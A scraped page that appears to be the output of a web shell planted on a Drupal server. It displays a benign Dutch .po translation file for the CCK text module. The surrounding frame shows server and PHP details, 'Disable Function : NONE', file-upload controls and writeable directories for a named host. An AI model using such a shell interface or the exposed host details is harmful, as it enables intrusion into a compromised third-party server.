KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/afglcweb/ny/sites/all/modules/cck/modules/text/translations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/afglcweb/ny/sites/all/modules/cck/modules/text/translations/modules-text.nl.po
# $Id: modules-text.nl.po,v 1.1.2.1 2009/06/03 20:31:09 hass Exp $
#
# Dutch translation of Drupal (general)
# Copyright YEAR NAME <EMAIL@ADDRESS>
# Generated from files:
#  text.module,v 1.95.2.28 2008/12/30 00:00:54 yched
#  text.info,v 1.9 2008/04/23 18:02:31 dww
#
#, fuzzy
msgid ""
msgstr ""
"Project-Id-Version: PROJECT VERSION\n"
"POT-Creation-Date: 2009-06-03 14:26+0200\n"
"PO-Revision-Date: 2009-06-03 14:26+0200\n"
"Last-Translator: NAME <EMAIL@ADDRESS>\n"
"Language-Team: Dutch <EMAIL@ADDRESS>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=(n!=1);\n"

#: text.module:41 text.info:0
msgid "Text"
msgstr "Tekst"

#: text.module:42
msgid "Store text in the database."
msgstr "Bewaar tekst in de database."

#: text.module:54;201
msgid "Plain text"
msgstr "Platte tekst"

#: text.module:54
msgid "Filtered text (user selects input format)"
msgstr "Gefilterede tekst (gebruiker geeft invoerformaat op)"

#: text.module:57
msgid "Text processing"
msgstr "Tekstverwerking"

#: text.module:63
msgid "Maximum length"
msgstr "Maximum lengte"

#: text.module:67
msgid "The maximum length of the field in characters. Leave blank for an unlimited size."
msgstr ""
"De maximum lengte van het veld in karakters. Laat leeg voor "
"ongelimiteerde grootte."

#: text.module:71
msgid "Allowed values"
msgstr "Toegestane waardes"

#: text.module:77
msgid "Allowed values list"
msgstr "Lijst met toegestane waardes"

#: text.module:81
msgid "The possible values this field can contain. Enter one value per line, in the format key|label. The key is the value that will be stored in the database, and it must match the field storage type (%type). The label is optional, and the key will be used as the label if no label is specified.<br />Allowed HTML tags: @tags"
msgstr ""
"De mogelijke waardes die in dit veld kunnen staan. Voer één waarde "
"per regel in, in het formaat sleutel|label. De sleutel wordt in de "
"database opgeslagen en moet overeen komen met het veldopslagtype "
"(%type). Het label is optioneel. Als geen label wordt ingevoerd zal de "
"sleutel ook worden gebruikt als label. <br />Toegestane HTML-tags: "
"@tags"

#: text.module:85
msgid "PHP code"
msgstr "PHP code"

#: text.module:92;101
msgid "Code"
msgstr "Code"

#: text.module:95
msgid "Advanced usage only: PHP code that returns a keyed array of allowed values. Should not include &lt;?php ?&gt; delimiters. If this field is filled out, the array returned by this code will override the allowed values list above."
msgstr ""
"Alleen voor geavanceerd gebruik: PHP-code die een array met sleutels "
"geeft van de toegestane waardes. Moet niet beginnen en eindigen met "
"&lt;?php ?&gt;. Als dit veld in ingevuld zullen de bovenstaande "
"toegestane waardes worden genegeerd."

#: text.module:102
msgid "&lt;none&gt;"
msgstr "&lt;geen&gt;"

#: text.module:103
msgid "You're not allowed to input PHP code."
msgstr "Je mag geen PHP-code gebruiken."

#: text.module:103
msgid "This PHP code was set by an administrator and will override the allowed values list above."
msgstr ""
"Deze PHP-code is door een beheerder ingesteld en zal worden uitgevoerd "
"in plaats van de toegestane waardeslijst hierboven."

#: text.module:132
msgid "@label (!name) - Allowed values"
msgstr "@label (!name) - Toegestane waardes"

#: text.module:156
msgid "%name: illegal value."
msgstr "%name: niet toegestane waarde."

#: text.module:159
msgid "%name: the value may not be longer than %max characters."
msgstr "%name: de waarde mag niet langer zijn dan %max karakters."

#: text.module:196
msgid "Default"
msgstr "Standaard"

#: text.module:206
msgid "Trimmed"
msgstr "Ingekort"

#: text.module:256
msgid "Text field"
msgstr "Tekstveld"

#: text.module:264
msgid "Text area (multiple rows)"
msgstr "Tekstveld (meerdere rijen)"

#: text.module:316
msgid "Size of textfield"
msgstr "Maat van het tekstveld"

#: text.module:325
msgid "Rows"
msgstr "Rijen"

#: text.module:0
msgid "text"
msgstr "tekst"

#: text.info:0
msgid "Defines simple text field types."
msgstr "Levert simpele tekstveldtypes."

#: text.info:0
msgid "CCK"
msgstr "CCK"


Anon7 - 2021